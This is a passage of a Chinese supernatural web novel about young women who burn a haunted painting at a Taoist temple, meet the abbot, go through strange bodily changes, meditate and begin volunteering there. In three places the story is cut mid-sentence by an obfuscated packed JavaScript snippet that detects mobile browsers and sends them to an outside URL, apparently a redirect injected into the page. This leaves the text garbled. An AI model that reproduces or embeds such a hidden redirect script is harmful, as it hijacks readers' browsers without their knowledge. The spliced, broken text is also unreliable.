“没问题!”我说,“知南和千尘也一起去,麻烦你开车来接我们啦,我家门口见!” “好,明天我出发前电话联系你。”李姐利落地挂了电话。 我立刻在群里发了消息,通知她们下午先来我家集合,等李姐的车一起出发。很快收到了回复:“好的,明天见。” 第二天下午四点左右,李姐那辆熟悉的小车准时停在了小区门口。我们三个鱼贯而入,一上车,压抑了半天的谈兴便爆发出来,叽叽喳喳地讨论起那幅诡异的财神像。 李姐一边平稳地开着车,一边好奇地问:“说起来,你们到底是怎么确定那画里进了不干净的东西?怎么看出来的?”她和千尘不算熟络,并不知晓千尘的特殊能力。 我刚想开口用“感觉不对劲”之类的理由含糊过去,千尘已经自来熟地接过话头,开启了她的“科普”模式:“因为我有阴阳眼呀,可以直接看到它们。不过我觉得老是看到这些东西挺碍事的,容易看岔了,所以几年前特意找了一位爷爷,想办法把眼睛给‘封’了。但不知道为什么,这两年好像又慢慢能看见一些了,特别是上次跟你们一起做完那场法事之后,感觉封印又松动了不少。” 李姐闻言,惊讶地透过后视镜看了千尘一眼:“真有阴阳眼这一说啊?真能看到那些……东西?那也太厉害了吧!” “那是当然!”千尘像是找到了知音,语气都轻快了几分,“我跟那些神仙可熟了!你知道吗,我先天心脏发育就有问题,医生说我可能活不过十四五岁。结果有一天晚上,地府真的来人了,拿了三本线装版册子到我面前,让我随便挑一本,说是给我续命。我当时还不乐意呢,他们就直接拿了一本硬塞给我……然后我的命就真的续上了,活到了现在……”她绘声绘色,还要继续往下说。 我坐在旁边,听得脚趾头都快在鞋底抠出三室一厅了。那时的我,虽然经历了一些怪事,但对千尘这种天马行空、匪夷所思的叙述,还是觉得过于“超纲”,生怕李姐觉得我们是一群神经病,赶紧出声打断:“好啦好啦,咱们不说这个了,聊点别的吧!” 知南显然早已习惯千尘的说话风格,只是抿嘴笑了笑,并不插话。 李姐倒是哈哈一笑,语气里满是包容:“世界真奇妙,你们这些年轻人经历的事情就是有意思!哈哈哈哈……” 我暗自松了口气,心里默默感叹:李姐这接受能力,是我过于保守了! 一路说说笑笑,抵达道观山脚下时,已是傍晚六点多。停好车,我们沿着石阶往上走,却远远看见那两扇厚重的朱红山门已经紧闭。 “糟糕!”我拍了下额头,懊恼道,“光顾着赶时间,忘了查关门时间了!这下怎么办?白跑一趟!” 我在门口急得团团转。 大家正商量着是不是要打道回府,改日再来,突然,“吱呀——”一声,山门从里面被拉开了一道缝隙。两个穿着蓝色道袍的年轻道士走了出来,看样子是准备下山。 我像抓住了救命稻草,赶紧小跑上前,客气地询问:“两位道长好,请问现在还能进去吗?我们有点事情。” 其中一个个子较高的道士看了看我们,礼貌地回绝:“福生无量。几位信士,大殿都已经落锁了,不便参观。” “不不,我们不是来参观的,”我连忙解释,“我们想借观里的焚化炉焚烧一件东西,很快就走。” 那道士沉吟片刻,看了看我们几个不像是胡闹的人,终于点了点头:“可以。不过你们进去后,记得出来时把门关好。” “太好了!谢谢道长!”我们喜出望外,连声道谢,侧身从门缝里挤了进去。 走在再次变得空旷无人的观内,我忍不住雀跃:“运气真好!差点就白跑了!”我和知南凭着上次模糊的记忆,朝着大罗宝殿前方的广场走去,记得那里立着几个巨大的、专门焚化文书符箓的炉子。 此时暮色渐沉,道观里愈发寂静。本以为除了我们再无他人,没想到走近广场时,却看见财神殿门口还站着一位穿着普通夹克衫的大叔,正背着手欣赏殿宇轮廓,像是个迟归的游客。我们没多想,只想速战速决。 走到高大的焚化炉前,知南从背包里郑重地取出那卷用红布包裹的财神画像。就在要展开时,我们四个人同时僵住了——面面相觑,都从对方眼里看到了同一个致命的问题! “我嘞个去!”我忍不住哀嚎出声,“打火机!没有打火机!!!” “好好好,真是万事俱备,只欠东风!东风呢?!”知南也扶额无语。 可能是我刚才的哀嚎声大了点,引起了那位大叔的注意。他好奇地踱步过来,热心问道:“你们是要打火机吗?” 我像看到救星,连忙点头:“是啊是啊,您有吗?” 大叔不好意思地挠挠头:“哈哈,我不抽烟,身上没带。但是!我可以帮你们叫人!” “叫人?”我们还没反应过来,只见大叔气沉丹田,朝着后方道士们居住的丹房区域,用洪亮得能惊起飞鸟的大嗓门喊道:“喂——!道长!能帮忙借个火吗——!” 这突如其来的“人肉广播”把我们震在了原地。顺着他呼喊的方向望去,只见一位身着青色道袍、头戴混元巾、留着清髯的道长,闻声从月亮门内缓步走了出来。待他走近,借着夕阳余晖,我们才看清他的面容——这不正是公告栏照片上那位神情严肃的薛道长吗?! 第一次如此近距离见到他本人,我莫名有些紧张,再想到前几天刚放了他鸽子,更是局促不安,手脚都不知道该往哪里放。 薛道长步履从容地走到我们面前,目光平和却自带威仪:“福生无量。何事在此喧哗?” 那热心大叔赶紧解释,脸上带着几分不好意思:“道长,是这几个妹子想借个火点东西,我也没有,所以才劳烦您过来一趟。您既然来了,就没我事儿了,我先走了哈!”说完,他像是完成了使命,吹着不成调的口哨,快步离开了。 薛道长的目光扫过我们,最后在我脸上停顿了片刻,带着一丝不易察觉的探究——我猜是因为我今天把刘海全梳了上去,还在头顶盘了一个道教的混元髻,这打扮在普通人里确实扎眼,他大概在疑惑我是不是同道中人。 “你们这么晚入观,所为何事?借火又要做什么?”他温和地问道。 我抢先一步,恭敬地回答:“薛道长您好,我们是想来焚烧一幅画。这幅画……好像附了灵,有点邪性,不敢随意处理。”说着,我示意知南将画递过去。 薛道长接过那幅“指谁谁发财”的财神画像,略一端详,随即抬眼问我:“你怎么知道我姓薛?” “我们之前申请过观里的义工,加过您微信。”我老实回答。 “噢——”薛道长恍然,点了点头,“原来如此。这幅画交给我吧,我来处理。”他拿着画,转身便走进了旁边的财神殿。我们依言等在殿外,不敢打扰。 没过多久,薛道长空着手走了出来,显然已经处理妥当。他看向我们,发出邀请:“几位,急着回去吗?若不嫌弃,可愿到茶室喝杯清茶?” 我本想着麻烦人家这么久,该告辞了,但见道长盛情难却,又看了看知南和千尘(李姐一向随和),便点头应承:“我们晚上不急,那就叨扰道长了。” 薛道长脸上露出温和的笑意,一边引着我们往丹房区域走,一边似有所指地说:“平时这个时辰,山门已闭,内外清静。偏偏今日你们此时到来,又能进门,还能遇上……你们说,这是机缘,还是巧合呢?” 我们相视一笑,心里也觉奇妙,默默跟着他穿过月亮门。我和知南这才发现,上次来时两边一直紧闭的仿古建筑,原来是茶室和道长们休息的丹房。 踏入其中,是一个回字形的院落格局,中间是宽敞的天井,种植着许多绿植花草,清幽雅致。正对着大门的方向,隐约可见一间殿宇,里面供奉着一尊神像,但我们并不认识。茶室就在进门右手边。 随着薛道长进入茶室,室内古朴典雅,燃着淡淡的檀香。我们落座后,薛道长热情地端出好几样精致的茶点,然后熟练地开始煮水、温杯、泡茶。氤氲的茶香弥漫开来,让人心神宁静。 他先是随意地问了我们的姓名、工作等基本情况,我们一一作答。接着,他切入正题:“几位对道教,可有所了解?” 我们都诚实地摇头,表示这是第一次真正接触。 薛道长抿了一口茶,开始为我们介绍:“贫道是此观的主持,姓薛,你们叫我薛道长或薛师傅皆可。我们这座道观,所在之地是上古流传的洞天福地之一,已有数千年历史,如今所见是原址重建。观内属于道教全真龙门派,尊奉长春真人丘处机为祖师爷。” 听到“全真龙门派”,我立刻联想到武侠小说里的“全真七子”,以及网络上一些夸张的说法,忍不住脱口问道:“薛道长,我听说全真龙门派特别……刚猛?对待鬼祟之类,是不是只杀不渡啊?” 薛道长闻言,不禁莞尔,摇头道:“宗教之本,在于慈悲。上天有好生之德,怎会只杀不渡?那是世人误解,或小说家言,不可当真。” “那……这世界上,真的有鬼吗?”我又追问出这个盘旋已久的问题。 薛道长放下茶杯,神色平和而郑重:“不必迷信。对于未知之物,保持一颗敬畏之心即可。在我们看来,它们也不过是沉沦的众生之一,需要的是引导和度化,而非简单的恐惧或排斥。” 听到这里,我想起了自己那个没过成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小姑娘,”他语气深沉,“有此天赋是机缘,但切记,不可过于沉迷此‘相’。需知‘慧而不用’,方是正道。若一味追求神通,执着于所见所闻,恐迷失本心,流于怪力乱神,就与民间神婆无异了。” 千尘愣了一下,随即笑了笑,乖巧地喝了口茶,不再多言。 就在这时,我忽然感到一阵莫名的头晕,太阳穴隐隐发胀,看东西都有些恍惚。我看了看知南和千尘,她们似乎暂时无恙,李姐则一切正常。我以为是今天太累,便强忍着没说出来。 薛道长又和我们聊了聊来做义工的事情,表示随时欢迎我们来体验义工生活,提前一天告知即可。然而,随着时间推移,我的不适感越来越强烈,甚至开始有些恶心反胃。紧接着,旁边的知南和千尘也几乎同时按住了太阳穴,面露痛苦之色。只有李姐依旧安然无恙。 薛道长见我们三个脸色发白,状态明显不对,便了然地点点头,温言道:“你们稍坐片刻,我去帮你们敕杯水。” 他起身离开了茶室。我虽难受,但也不懂他说的“敕水”是什么意思,没有多问。 过了大约五六分钟,薛道长端着一个木质托盘回来了,上面放着四杯清澈的白水,看起来与普通饮用水毫无二致。“把这水喝了吧。”他将水分给我们。 我们道谢后接过,将信将疑地喝下。神奇的是,不过一两分钟,那恼人的头晕、恶心感竟如同退潮般迅速消散了,身体恢复了轻松。我们面面相觑,都觉得不可思议。 薛道长看着我们惊讶的表情,微微一笑,解释道:“观内有护法神日常巡察,修行人身侧亦有护法随行。你们三位体质较为敏感,初来乍到,或许一时难以适应此地的气场。无妨,现在可随我去斗姆殿上炷香,磕个头,表达一下敬意。” 我们跟着他来到天井正对面那间殿宇。踏入殿内,只见神坛上供奉着一尊宝相庄严、三头六臂的神祇,神像前的牌位上清晰地写着“斗姆元君”四个字。 薛道长示意我们:“你们各自找个跪垫。我来敲磬,你们随着磬声礼拜即可。” 我们几个都是门外汉,根本不懂正规的礼拜仪轨。于是,当清越的磬声响起时,我们有的胡乱作揖,有的弯腰幅度不一,有的连手势都不对,场面堪称“群魔乱舞”,不堪入目。 薛道长在一旁看着,无奈地扶了扶额,笑道:“看来得从头教起。来,都看好了,这是道教最基本的‘三拜九叩’礼,我慢动作做一遍,你们跟着学。” 他极其耐心地分解动作,详细讲解每一个手势、步伐和叩拜的含义与要领。我们认真模仿,虽然依旧笨拙,但总算有了个样子。在他的指导下,我们重新庄重地行了一遍三拜九叩礼。 完成这一切,时间已近晚上九点。我们不便再多做打扰,便向薛道长告辞。薛道长亲自将我们一路送出山门,直到看见我们坐上李姐的车,才转身返回。 回程的车上,夜色深沉。我望着窗外飞速倒退的山影,心里依旧充满了不可思议的感觉。为什么我们三个会同时头疼?那杯水为何如此神奇? 李姐一边开车,一边笑着打趣:“看来你们三个,跟道家还真是有缘呢。说不定今晚这一切,都是冥冥中的安排,是个难得的机缘。” 我靠在椅背上,心里默默想着:如果真有缘分,估计也是千尘那种天生灵异体质的缘分更深吧。而我,可能不太是那个‘有缘人’。不过命运总是这样,无论你怎么想,它都会以各种方式推着你走。 13. 我非我 从道观回来后当天夜里,我心里那股想去体验道观义工生活的念头,像被浇了油的柴火,越烧越旺。眼看着月底将至,下个月月初我有四天连休,简直是天赐良机。我迫不及待地在和她们三人分享了这个想法,千尘和知南立刻响应,表示时间没问题。只有李姐因为工作太忙脱不开身,遗憾地表示这次无法同行。 第二天清晨,我的生活似乎依旧沿着固有的轨道运行。我被准时的“拍醒”,熟练的练完八部金刚功,抄写了几页经文,听完了早课。然后像往常一样,溜达着去我最熟悉的那家牛肉粉店。从小到大,我对牛肉粉有种近乎偏执的喜爱,浓郁的汤头,爽滑的米粉,香烂的牛肉臊子,是我开启一天最踏实的方式。 “老板,老样子,牛肉粉加个蛋。”我熟练地点单。 热腾腾的粉很快端了上来,红油赤酱,香气扑鼻。我像往常一样,夹起一筷子吹了吹,送入口中——然而,预想中的美味没有出现,取而代之的是一种难以名状的、仿佛带着铁锈和某种腐朽气息的怪味,猛地窜入我的口腔和鼻腔! “呕——”我控制不住地干呕了一声,立刻将嘴里的粉吐到了纸巾上。怎么回事?今天的臊子变质了?我皱着眉,又小心地嗅了嗅,那味道似乎又淡了,但刚才那一下强烈的冲击让我对这碗粉彻底失去了胃口。 “老板,结账。”我勉强压下胃里的不适,付了钱。怕自己低血糖,于是又买了一杯温热的豆浆。奇怪的是,豆浆喝起来却没有任何异味,清甜如常。 带着满腹疑惑,我走向菜市场,准备买点晚上做饭的食材。刚踏进肉类区域,一股混合着血腥和生肉特有的腥膻气味扑面而来,这一次,反应比在粉店更剧烈!强烈的恶心感直冲头顶,我甚至感觉眼前黑了一下,胃里翻江倒海,几乎要当场吐出来。 我捂着鼻子,几乎是逃也似的冲出了菜市场,站在外面大口呼吸着新鲜空气,心里又惊又疑,还带着点自我嫌弃:“我今天是怎么了?突然变得这么矫情?连肉味都闻不得了?” 除了这突如其来的饮食和嗅觉异常,我当天的行为、言谈似乎并无不同,依旧上班、工作、与同事说笑。我心大地把这归咎于“偶然的身体不适”,没太往心里去。 然而,出现这事儿的第二天,变化更加明显了。 早起后,我下意识地走向牛肉粉店,却在门口停住了脚步。心里有个声音在清晰地排斥着那个选择。最终,我转向旁边的包子铺,买了两个素菜包。去菜市场时,我更是自觉地绕开了肉类区,只买了些青菜回家。 更让我诧异的是我的食量。平时能吃下一大碗饭的我,现在只吃了小半碗就感觉饱腹感十足,一整天下来甚至没有明显的饥饿感。最最不对劲的,是我的性格和思维模式。 平时的我,活泼开朗,甚至有点话痨,思维跳跃,情绪来得快也去得快。可那几天,我仿佛被注入了一股清冷的泉水,整个人变得异常理智、冷静、沉默。看问题变得极其透彻,与人交谈时,对方往往刚开口,我就能清晰地感知到他话语背后的真实意图和情绪,仿佛戴上了一副能看穿人心的眼镜。 在宠物医院工作时,面对焦躁的宠物和担忧的主人,我依旧能专业地处理病情,但心底却波澜不惊,甚至对主人的絮叨感到一丝不易察觉的不耐烦,态度比平时冷淡了许多。我内心清楚地知道“这不像我”,仿佛有另一个更冷静、更超然的意识暂时接管了这具身体,而“原本的我”则像一个旁观者,与她共同体验着这一切,却无法干预。 这种“分裂”而又“统一”的诡异状态,持续了整整七天。 第八天清晨醒来,那种莫名的束缚感突然消失了。我几乎是贪婪地呼吸着空气,感觉自己又“活”了过来。思维重新变得跳跃,话也多了起来。我特意去吃了碗牛肉粉,嗯,味道正常,香得很!去菜市场,肉类的腥味虽然依旧能闻到,但不再引起剧烈的生理不适。 我长长地舒了口气,却又感到深深的困惑。那七天的我,到底是怎么回事?难道是因为心心念念要去道观,潜意识里自我催眠,硬生生把自己“扮演”成了一个清心寡欲、理智超然的形象? 我把这奇怪的七天经历和内心的疑惑告诉了知南。知南在电话那头沉吟了一会儿,说:“那几天和你聊天,是感觉你有点不一样,话少了,反应也特别冷静,好像什么都看得特别透似的。不过你说得对,可能就是你探索欲太强,把自己给‘代入了’,提前进入了‘修道’状态?” 听了她的安慰,我也只好暂时接受这个解释,不再纠结。只是心底有个声音在低语:那七天的平静和透彻,真实得可怕,甚至让我觉得,如果一直那样下去,走所谓的“无情道”似乎也挺适合……(啧,这想法一出,我自己都吓了一跳,果真是小说看多了。) 就在恢复“正常”的第八天晚上,我做了一个异常清晰的梦。 梦里,我站在一堵绵延无尽的朱红色高墙前,手中握着一把古朴沉手的长剑。我的左右两侧,一共站着五六个人,同样手持长剑,男女皆有,面容模糊。我们一字排开,似乎在练习一种剑法。 一位身着青灰色交领窄袖长衫、披散着乌黑长发、留着飘逸长髯的中年男子,正在前方指导我们。他身形极高,气质卓然,即使看不清具体面容,也能感受到那股不怒自威、英武非凡的气场。梦里,我似乎资质愚钝,总是掌握不好剑招的韵律,心里又急又恼。 那青衣长者踱步到我面前,声音低沉而富有磁性,带着一种抚平焦躁的力量:“勿需犹豫,心随意动,剑随心生。看好了——”他亲自示范,动作如行云流水,一剑挥出,看似简单,却蕴含着某种玄妙的轨迹与力道,“如此,一剑便可。” 我凝神静气,学着他的样子,摒弃杂念,手腕发力,一剑挥出。 他站在一旁,微微颔首,脸上露出赞许的笑意:“不错。” 我身高还不到他胸口,被他夸奖,有些不好意思地低下头。就在低头的瞬间,我清晰地看见,他站立的地方,是一双赤裸的、纤尘不染的足。 梦境至此,戛然而醒。 我睁开眼,窗外天光微亮,梦中的每一个细节——朱红的高墙、冰凉的剑柄、青衣长者的身影、他赤足站立的样子,甚至他话语的余韵——都清晰地烙印在脑海里,挥之不去。 这太真实了!他是谁?这个梦意味着什么? 我第一时间把梦境的详细描述发给了墨宇,希望能从他那里得到答案。 墨宇的回复依旧带着他那特有的、让人牙痒痒的腔调:“是位祖师爷在梦中点拨你,传授你法门呢。至于是哪位祖师,你可以自己猜一猜。” 又来这套!我心里暗骂,但好奇心却被彻底勾了起来。我根据梦中最鲜明的特征——“披发”、“长髯”、“赤足”、“持剑”,开始在网络上搜索道教的神祇。 搜索结果大多指向同一位尊神——真武大帝,亦称玄天上帝、披发祖师、荡魔天尊。传说他镇守北方,以降妖伏魔著称,道场在湖北武当山,其形象往往是披发跣足,手持宝剑。 然而,网络上常见的真武大帝神像,多是威严端坐或脚踏龟蛇的造型,虽然庄重,但与我梦中那位身形高大、动作潇洒、英武神俊的青衣长者形象,总觉得有些微妙的差异。而且,我从小到大,连真剑都没摸过几次! 虽然心存疑虑,但这是最接近的答案了。我试探着又问墨宇:“梦里教我剑法的……是真武大帝吗?” 墨宇的回信差点让我气得把手机扔出去:“你猜是就是咯。” 什么叫“我猜是就是”?!这种模棱两可、故弄玄虚的回答简直是在挑战我的耐心!我气得对着空气连挥了好几拳。 不甘心的我又去问了千尘。千尘一听,立刻来了精神:“哎呀呀,真武呀!特征没错,披发赤足嘛!他,我熟啊!哈哈哈哈哈哈……” 听着她又开始不着边际的“熟络”发言,我果断放弃了追问。 算了,求人不如求己。我心里暗暗决定,等休假有时间,一定要去一趟武当山亲眼看看,或许在那里,能找到我梦境的答案。 就在这时,墨宇又发来消息:“楠木姐,明天我过来教你打坐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908326|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打坐?我好奇心起,是像武侠小说里那样练内功吗?学个新技能好像也不错。于是我爽快回复:“好,明天我下班后家里见。” 第二天,墨宇如约而至。在我家相对安静的小客厅里,他开始教我打坐的基本功——吐纳呼吸。得益于之前练习八部金刚功,我已经能模糊地感受到体内那种被称为“炁”的能量流动,所以当墨宇讲解“气沉丹田”、“以意领气”时,我并不算完全陌生。 但问题在于,我的心很难静下来。闭上眼睛,各种杂念就像煮沸的开水,咕嘟咕嘟往外冒。墨宇见状,便先教了我一套简单的、用于扫除杂念的伸展活动——放松站立,随意甩动四肢和躯体,同时放空大脑,直到感觉思绪平复,才让我在垫子上盘腿坐下,开始正式的吐纳,引导我去感受体内“炁”的细微走向。 在开始前,墨宇的神色异常严肃,特意叮嘱我:“打坐时,务必保持环境安静。过程中,无论听到什么声音,看到什么画面,或者身体产生任何奇异的感觉,切记不要惊慌,不要贸然睁眼,更不要随意回应!守住心神是关键。” 然而,那天晚上或许是因为白天工作疲惫,或许是因为心思杂乱,我尝试了很久,始终无法真正进入状态,只觉得腿脚酸麻,心烦意乱。最后,我只好无奈地放弃,对墨宇说:“方法我大概记住了,今天状态不行,改天我自己再试试吧。” 墨宇倒也没强求,点点头:“嗯,反正我的任务完成了,你自己勤加练习就好。” “任务?”我敏锐地捕捉到这个奇怪的词,“什么任务?” 墨宇眼神闪烁了一下,迅速站起身:“没什么,你听岔了。时间不早了,我回去了,下次再见。”说完,几乎是落荒而逃,留下我一头雾水地站在原地。 接下来的几天,我趁着晚上空闲,自己在家尝试打坐。我记得那天,阿飞难得早早回家。我提前跟他打好招呼:“我等下要打坐,你千万别突然叫我名字,尽量保持安静哈。” 阿飞虽然觉得新奇,但还是配合地点点头:“知道了,我不会打扰你的。你自己注意点,别……别出什么岔子。” 我给了他一个放心的眼神,看了看手机时间,晚上八点整。然后便在沙发上盘腿坐好,调整呼吸,慢慢闭上了眼睛。 这一次,不知为何,心境出奇地平和。杂念像退潮般缓缓消散,不过几分钟,我便进入了一种前所未有的状态。 身体不由自主地坐得笔直,呼吸变得深长而均匀,仿佛不需要刻意控制。突然之间,我闭眼后那片熟悉的黑暗被一道柔和而明亮的白光取代。我“看”向那光,周围是白茫茫一片的无垠空间,仿佛置身于浓雾之中。 就在这时,一个惊人的发现让我心头一凛——我的身体呢?! 我感受不到四肢的存在,感受不到胸腔的起伏,甚至感受不到呼吸!仿佛只剩下一个独立的“意识”或者“视角”,悬浮在这片白色的虚空里张望。 一瞬间的慌乱如同冰水浇头!但我立刻想起了墨宇严肃的警告——“无论遇到什么,守住心神!” 我强行压下恐惧,不断默念“心定,神凝”,努力调整着那似乎已经不存在的“呼吸”。 不知过了多久,那种悬浮和失重感渐渐缓和。我小心翼翼地、缓缓地睁开了眼睛。熟悉的客厅景象重回视野,身体的感觉也一点点恢复。我下意识地拿起身边的手机想看时间—— 晚上八点四十分! 怎么可能?!我明明感觉只过去了十分钟左右!时间怎么会流逝得这么快?而且,更让我惊讶的是,盘坐了整整四十分钟,我的双腿竟然没有丝毫麻木酸痛的感觉,反而觉得通体舒坦,精神焕发。 我呆坐在沙发上,心里五味杂陈。有探索到新领域的兴奋和神奇,有对未知现象的隐隐恐惧,更多的,是无法用现有科学知识来解释这诡异体验的茫然。 看来,下次去道观,必须得找个机会,好好向修行日久的薛道长请教一番了。当时的我认为只有修行多年的道长,才能为我眼前这越发扑朔迷离的世界,提供一些可能的答案。 14. 道观义工(上) 期待已久的道观义工日子终于到了。我们三人——我、知南和千尘,怀着激动又好奇的心情,一大早便各自从家中出发,在我家楼下汇合后,开车驶向了那座位于城郊山间的道观。 车子驶上公路,窗外的城市景象逐渐被葱郁的山色取代。我一边开车,一边忍不住在脑海里反复回忆上次薛道长教导的道教礼仪,生怕自己做错或失礼。同时,心里也打好了几个关于修行、梦境和身体感应的腹稿,准备找机会向薛道长请教。 “你们说,我们这次去,能适应那里的生活吗?”坐在副驾的知南望着窗外,语气里带着一丝不易察觉的担忧,“会不会又遇到什么解释不清的事儿?或者像上次在茶室那样,突然头晕?” 后座的千尘正悠闲地刷着手机,闻言抬起头,语气轻松地说:“难说。道观寺庙这种地方,闻经听法、寻求超度的‘众生’可不少。不过嘛,有坏心思的应该不敢来,毕竟各处都有护法神坐镇,规矩大得很。至于头晕不头晕,看个人体质和缘分咯,走一步看一步嘛,来都来了。” 我忍不住插话:“我一直以为道观寺庙这种地方是最清净的,那些……‘阿飘’什么的,应该不敢靠近才对啊?” 千尘笑着摇头:“那可不是哦!很多众生会主动来这里寻求超度、听经闻法,或者干脆就在这灵气充沛的地方修行。所以某种程度上,这里算是它们的‘聚集地’或者‘学校’,你碰上的几率反而比在外面瞎逛要高呢。” 我顿时汗颜。我一直想当然地认为,神圣场所自带“结界”,妖魔鬼怪自动退散,没想到还有这种说法!难怪小时候常听老人说,不让小孩子随便去庙里,估计就是怕孩子天眼未闭,看到什么不该看的被吓到。 一路闲聊,时间过得飞快。车子很快驶入了熟悉的山道,沿着盘山公路蜿蜒而上,最终抵达了道观。这次我们熟门熟路,按照薛道长之前的指引,直接将车从侧面的车道开进了丹房区域,在大门口附近的空位停好。 我深吸了一口山间清冽的空气,拨通了薛道长的电话。 “到了?好好好。”电话那头传来薛道长温和沉稳的声音,背景里隐约能听到有人在低声交谈,“我正在接待几位香客,你们先去找周师傅安排住宿,安顿好后到茶室来等我。” 挂了电话,我按照薛道长发来的号码联系了周师傅。不过五六分钟,一位看起来四五十岁、面色红润、笑容可掬的阿姨便快步迎了出来。她穿着一身朴素的深蓝色工作服,整个人精神矍铄,眼神清澈温暖,浑身透着一股被山水灵气滋养出的精气神,让人一见便心生好感。 “是来做义工的三位姑娘吧?房间都给你们收拾好了,跟我来。”周师傅声音爽朗,带着我们穿过青石板铺就的院落。 她引着我们走到斗姆殿左侧,这里是一排整齐的厢房。“这边就是坤道住所了,你们住第一间。”周师傅推开最外侧的房门。 房间比想象中宽敞,陈设简单却整洁。进门左手边是一个独立的卫生间。正对着门的窗户下,横放着一张原木色的上下铺。房间进门右侧靠墙摆着一张长条桌,桌子对面,又竖放着一张上下铺,床的摆放形成一个横置的“L”型。虽然朴素,但窗明几净,一尘不染,窗外还能望见远处苍翠的山峦。 “我要这个靠窗的下铺!”我眼疾手快,把自己的背包放在了光线最好的位置。 千尘利落地爬上我对面的上铺,轻轻晃了晃腿:“那我睡这儿,视野开阔,还能监督你们按时起床。” 知南则选了我旁边的下铺,刚把行李放好,周师傅就抱着三叠折叠整齐的衣服走了进来。 “这是观里为义工准备的服装,在这里期间,请统一着装。”她说着,将衣服分别递给我们,又特意看了看我,补充道,“这位姑娘身形更丰满些,普通居士服可能没有合适的尺码,这件道袍是以前一位比较壮实的居士留下的,我看尺寸应该合适,你就穿这件吧。” 待周师傅风风火火地又去忙别的事后,我们迫不及待地展开衣服比对。这一比,差异立刻显现出来。 知南和千尘手里的是藏蓝色的V领居士服,中间一整条手工盘扣,从领口延伸到下摆,面料轻薄柔软,样式简洁宽松。而我手里的,却是一件同样藏蓝色,但形制完全不同的三清领(交领右衽)道袍。 “楠木,你这件好像更正式啊?”知南拎起我的道袍在自己身前比划着,又扯了扯自己那件居士服,“怎么看都像是正式道士穿的呢。” 我接过道袍,心里也有些纳闷,无奈地耸耸肩:“周师傅说我个头大,普通居士服没有合适我的码。” 千尘已经利落地换上了她的居士服,正在系盘扣。她从上铺探头看我,笑着说:“别纠结了,先换上看看合不合身。” 我依言换上道袍。奇怪的是,明明是第一次穿,但我感觉我以前穿过似的,想一想可能和汉服形制有关系,也就没多想。 “哇,楠木!”知南换好了衣服,绕着我转了一圈,忍不住惊叹,“你穿这套衣服还挺合适唉!” 千尘也跳下床,仔细端详着:“确实很合适。而且不知道是不是错觉,你穿上这身道袍,整个人的气质都不一样了,还挺像那么回事儿的!” 我说:“跟汉服形制很像,不是吗?不过我挺喜欢的,这深色也经脏。哈哈哈哈哈” 整理妥当后,我们按照薛道长的吩咐,来到茶室等候。茶室布置得古雅清净,墙上挂着“三教合一”的苍劲墨宝,博古架上陈列着几个葫芦摆件,空气中弥漫着淡淡的檀香,让人心神宁静。 不多时,薛道长推门走了进来,他身着青色道袍,步履从容,衣摆随着步伐微微拂动。 “都安顿好了?”他在主位的茶台后落座,手法娴熟地开始煮水、温杯、沏茶。清雅的茶香很快在室内弥漫开来。他给我们每人斟了一杯茶,然后开始了讲解。 “既然来了,就要了解一些基本的规矩。”薛道长语气平和,“道教是我们中国土生土长的宗教,历史源远流长。在观内,对男道士称为‘乾道’,女道士称为‘坤道’,你们可以统一称呼为‘道长’或者‘师傅’,前面加上姓氏即可。义工之间,不论男女,都互称‘师兄’,见面可行拱手礼。” 他特别强调了几点纪律:“观内不可大声喧哗,要保持清静。男女义工之间也需保持适当的距离。每天清晨和傍晚,听到打板声,就要按时起床、用斋,并共同参加早晚课。因为我们属于全真龙门派,修行要求食素,所以在观内,请不要食用荤腥。如果实在忍不住,可以到观外去吃,但切记——”他顿了顿,目光扫过我们身上的衣服,“不要穿着居士服或者道袍出去,毕竟这身衣服,代表了我们道观的脸面。” 我们听后连连点头,表示一定会遵守规定。 薛道长见状,画风一转,脸上露出温和的笑意,眼中带着几分循循善诱:“呵呵,不过你们也不必过于紧张。道教文化也是中国传统文化的重要组成部分,你们年轻人有兴趣,愿意来了解和体验,本身就是一件让我很开心的事。” 他端起茶杯抿了一口,继续说道:“说起来,我们这座道观啊,有个很有趣的现象。不合适、或者说缘分未到的人,在这里是待不长久的。观内的护法神明,会以各种方式……嗯,‘提醒’他们离开。” 我一听,好奇心立刻被勾了起来,又好奇又紧张地看着薛道长问:“真的有护法神会赶人吗?他们……通常是怎么‘提醒’的啊?” 薛道长捋了捋胡须,眼中闪过一丝意味深长的光芒,举例道:“举个例子吧。上次我有一位远房亲戚来此探望我,他本身并不信鬼神之说,言谈间可能说了一些不够恭敬的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傍晚六点,清脆的打板声在观内悠悠回荡。我们赶紧整理好衣冠,跟着其他几位义工,安静地排着队,鱼贯进入斋堂。长条桌上已经摆好了简单的素斋,大家依次打饭,然后默默找到空位坐下。 我正准备动筷子,只见坐在最前方的薛道长清了清嗓子,温和地说道:“用斋之前,我们先齐诵一遍《供养咒》,感恩十方供养。” 话音刚落,斋堂内便响起了低沉而整齐的诵经声。这是我第一次亲身体验道观的用斋仪轨,不由得挺直了背脊,认真聆听并跟着默念。说来也怪,当那熟悉的经文声在耳边响起时,我周身竟泛起一阵细微的、如同电流穿过般的麻栗感,说不清是激动,还是某种能量场的共鸣。 诵经声止,薛道长示意大家可以开始用餐。眼前的斋饭虽然简单——清炒时蔬、香菇豆腐、花生莲藕汤,但味道却出人意料地鲜美,火候恰到好处,充满了食材本身的原味清香。 